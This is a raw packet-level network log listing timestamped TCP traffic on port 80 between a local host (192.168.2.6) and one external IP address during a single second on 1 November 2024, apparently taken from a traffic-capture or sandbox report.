Nov 1, 2024 03:45:21.031454086 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.031490088 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.031641006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.031758070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.031778097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.031790972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.031817913 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.031836033 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.031981945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.032032013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.032042980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.032095909 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.032265902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.032310009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.032321930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.032331944 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.032356024 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.032356024 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.086117983 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.101540089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.101555109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.101566076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.101577044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.101588964 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.101599932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.101627111 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.101627111 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.101659060 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.150007963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150023937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150036097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150043964 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150054932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150074959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150087118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150099039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150104046 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.150109053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150121927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150134087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150141954 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.150161028 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.150167942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150186062 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.150208950 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.150234938 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150245905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150257111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.150345087 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.215023994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.215078115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.215090990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.215141058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.215157032 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.215261936 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.256886959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.256901026 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.256911039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.256963015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.256989002 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.257014990 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.262007952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262020111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262059927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262109041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262109995 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.262121916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262166023 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.262317896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262382030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262392998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262397051 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.262502909 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.262749910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262768030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262792110 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262803078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262814999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.262830973 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.262847900 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.263176918 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.263196945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.263209105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.263235092 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.263259888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.263262033 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.304831982 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.331063032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.331077099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.331156015 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.331223965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.331243038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.331257105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.331290960 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.373529911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.373543978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.373583078 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.378829002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.378842115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.378854036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.378869057 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.378932953 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.378977060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.378988981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.378998995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.379061937 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.379338026 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.379349947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.379364967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.379379034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.379425049 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.379664898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.379677057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.379688025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.379724026 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.379820108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.379870892 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.380009890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.380022049 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.380100012 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.380146027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.380316019 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.380326986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.380338907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.380359888 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.380382061 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.380458117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.429872990 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.446238041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.446252108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.446265936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.446348906 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.446372032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.446384907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.446434021 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.488771915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.488784075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.488881111 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.494075060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.494086027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.494102955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.494115114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.494127035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.494146109 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.494214058 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.494246960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.494613886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.494626045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.494636059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.494653940 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.494682074 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.495001078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.495013952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.495026112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.495064020 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.495146036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.495210886 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.495472908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.495484114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.495500088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.495512009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.495528936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.495560884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.495560884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.495654106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.495666027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.495677948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.495727062 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.495727062 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.560348988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.560363054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.560395956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.560424089 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.560446978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.560460091 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.560508013 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.608297110 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.608310938 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.608323097 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.608334064 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.608345985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.608359098 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.608407021 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.608452082 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.608685970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.608699083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.608710051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.608747959 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.608864069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.608912945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.608927011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.608938932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.609011889 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.609040022 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.609051943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.609102011 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.609462023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.609558105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.609568119 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.609616041 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.609699011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.609725952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.609736919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.609766006 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.609806061 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.609836102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.609849930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.609901905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.609925032 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.664304972 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.676721096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.676790953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.676804066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.676884890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.723453999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.723504066 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.723507881 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.723520041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.723584890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.723613977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.723627090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.723638058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.723670959 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.723917007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.723929882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.723962069 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.723970890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724018097 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.724183083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724195004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724244118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724250078 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.724256992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724381924 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.724554062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724564075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724601984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724602938 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.724699020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724713087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724782944 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.724797010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724817991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724833965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724870920 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.724870920 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.724940062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.724950075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.725017071 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.725433111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.725501060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.725512028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.725596905 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.765646935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.765695095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.765733957 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.791250944 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.791291952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.791304111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.791337967 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.791352987 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.838970900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839019060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839030981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839070082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839123011 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.839123011 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.839148045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839160919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839221954 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.839225054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839237928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839307070 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.839399099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839471102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839483023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839580059 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.839639902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839679003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839680910 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.839692116 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839735985 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.839792967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839804888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.839848995 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.840120077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.840229988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.840241909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.840296984 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.840329885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.840342045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.840353966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.840394020 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.840394020 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.840476990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.840488911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.840565920 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.906555891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.906644106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.906655073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.906666994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.906681061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.906697035 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.906719923 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.906721115 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.906784058 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.954340935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.954354048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.954365015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.954425097 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.954444885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.954457998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.954495907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.954507113 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.954536915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.954549074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.954619884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.954619884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.954767942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.954778910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.954790115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.954840899 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.954969883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.955030918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.955038071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.955050945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.955061913 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.955073118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.955100060 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.955116987 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.955487013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.955499887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.955509901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.955542088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.955550909 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.955554962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.955602884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.955625057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.955673933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.955960989 CET	80	49750	185.215.113.16	192.168.2.6
